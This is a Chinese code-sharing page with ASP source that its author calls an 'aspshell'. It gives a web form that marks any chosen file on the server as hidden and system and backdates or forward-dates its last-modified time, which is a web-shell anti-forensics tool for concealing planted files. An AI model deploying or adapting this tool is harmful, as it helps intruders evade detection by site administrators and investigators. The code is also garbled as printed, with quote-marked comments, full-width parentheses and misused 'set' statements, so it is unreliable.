asp 隐藏并修改文件的最后修改时间

源码：
复制代码代码如下:
<%
"隐藏并修改文件的最后修改时间的aspshell
"原理:通过FSO可以修改文件的属性，比如设置为只读，隐藏，系统等等；FSO中的attributes属性修改文件属性，1只读，2隐藏，4系统文件
" 通过shell.application可以给文件重新设置一个最后修改时间
"2009/02/24 write by skyfire
response.write "<form method=post>"
response.write "路径：<input name=path value=""&server.mappath（"/"）&"" size="30">（一定要以结尾）<br />"
response.write "文件名称：<input name=filename value="test.txt" size="30"><br />"
response.write "修改时间：<input name=time value="12/30/2099 12:30:30" size="30"><br />"
response.write "<input type=submit value=修改并隐藏文件>"
response.write "</form>"
"获取提交的参数
set path=request.Form（"path"）
set fileName=request.Form（"filename"）
set newTime=request.Form（"time"）
if（（len（path）>0）and（len（fileName）>0）and（len（newTime）>0））then
"通过fso设置文件属性
Set fso=Server.CreateObject（"Scripting.FileSystemObject"）
Set file=fso.getFile（path&fileName）
file.attributes=2+4 "设置文件属性为隐藏+系统
"通过shell.Application修改文件的最后修改时间
Set shell=Server.CreateObject（"Shell.Application"）
Set app_path=shell.NameSpace（server.mappath（"."））
Set app_file=app_path.ParseName（fileName）
app_file.Modifydate=newTime
end if
%>